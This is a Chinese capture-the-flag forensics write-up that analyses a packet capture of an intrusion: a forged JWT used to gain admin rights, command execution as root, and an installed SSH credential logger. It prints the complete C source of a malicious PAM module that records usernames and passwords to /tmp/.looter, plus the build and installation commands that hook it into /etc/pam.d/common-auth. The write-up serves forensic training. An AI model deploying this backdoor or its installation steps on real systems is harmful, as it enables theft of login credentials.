题目描述
头中保存的是jwt格式，载荷中保存的是内容，签名部分保存的是前面内容的哈希值防止篡改
wireshakk打开包，
7号数据包是post方式提交form表单认证，8号数据包表示认证通过同时返回jwt数据和网页，jwt数据可以简单理解为cookie。
flag：
因此该网站使用的jwt认证方式，这里有个坑，我开始以为是form表单认证，这里问题描述还是不够清晰。
2.2 黑客绕过验证使用的jwt中，id和username是______。（中间使用#号隔开，例如1#admin）
wp：
在8号数据包中，我们在cookie中的token中提取jwt数据
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc
分为三段
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0
dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc
用base64解码第二段得到
{"id":10086,"MapClaims":{"aud":"admin","username":"admin"}}
flag：
因此10086#admin
我提交后发现不对，我们再次审题 黑客绕过验证使用的jwt中，重点是黑客绕过验证，分析数据包，这个jwt是黑客使用弱密码admin表单登录后发送给黑客的第一个令牌，并没有体现绕过二字。之后在27号黑客使用该令牌执行了系统命令whoami，系统返回了 alert("The administrator has the authority to do this, you can’t") ，意思是只有管理员才有权力执行该命令，你不能执行。黑客此时明白了它并不是最高权限，有再次登录获取新的jwt，还是不行。在97号数据包中，黑客首次构造了jwt，构造结果如下
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc; Path=/; Max-Age=3600; HttpOnly
解密后得知，
{"id":10087,"MapClaims":{"username":"admin"}}
这个才是伪造的，之前是系统自动生成的。
flag：
因此10087#admin
2.3 黑客获取webshell之后，权限是______？
wp：
在97号数据包中黑客使用伪造的jwt提交了whoami，98号包返回 root。这里黑客利用了jwt伪造漏洞和命令执行漏洞
flag：
root
2.4 黑客上传的恶意文件文件名是_____________。(请提交带有文件后缀的文件名，例如x.txt)
wp：
因为一个一个查看黑客执行的代码比较麻烦，我们导出http对象同意分析文件。再103号数据包中，用base64解码后都到，将下面1.c写道/tmp/目录下
#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <unistd.h>
size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}
void saveMessage(char (*message)[]) {
FILE *fp = NULL;
fp = fopen("/tmp/.looter", "a+");
fputs(*message, fp);
fclose(fp);
}
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char message[1024];
retval = pam_get_user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
if (retval != PAM_SUCCESS) {
return retval;
}
snprintf(message,2048,"Username %s
Password: %s
",username,password);
saveMessage(&message);
return PAM_SUCCESS;
}
flag：
1.c
2.5 黑客在服务器上编译的恶意so文件，文件名是_____________。(请提交带有文件后缀的文件名，例如x.so)
wp：
109号数据包中又写了/tmp/Makefile
CFLAGS += -Werror -Wall looter.so: looter.c gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl
然后再/tm目录下执行make命令，将looter.c编译成looter.so
flag：
因此是looter.so
2.6 黑客在服务器上修改了一个配置文件，文件的绝对路径为_____________。（请确认绝对路径后再提交）
wp：
之后黑客发现源代码文件名称不对不是1.c，重命名源代码文件名称，mv /tmp/1.c /tmp/looter.c，这里是作者故意埋下的坑，让2.4的问题变得模糊，让我们以为上传的文件是looter.c
再次make，此时/tmp下有三个文件Makefile looter.c looter.so，编译好的木马是looter.so
cp /tmp/looter.so /lib/x86_64-linux-gnu/security/，移动木马到ssh认证目录下
echo "auth optional looter.so">>/etc/pam.d/common-auth，这里修改了ssh配置文件
flag：
etc/pam.d/common-auth
之后黑客执行了
service ssh restart
cat /tmp/.looter
Username root
Password: flag{test_flag}
Username root
Password: flag{test_flag}
Username root
Password: flag{test_flag}
Username root
Password: flag{test_flag}
Username root
Password: flag{test_flag}
因此黑客上传的是ssh登录凭证记录木马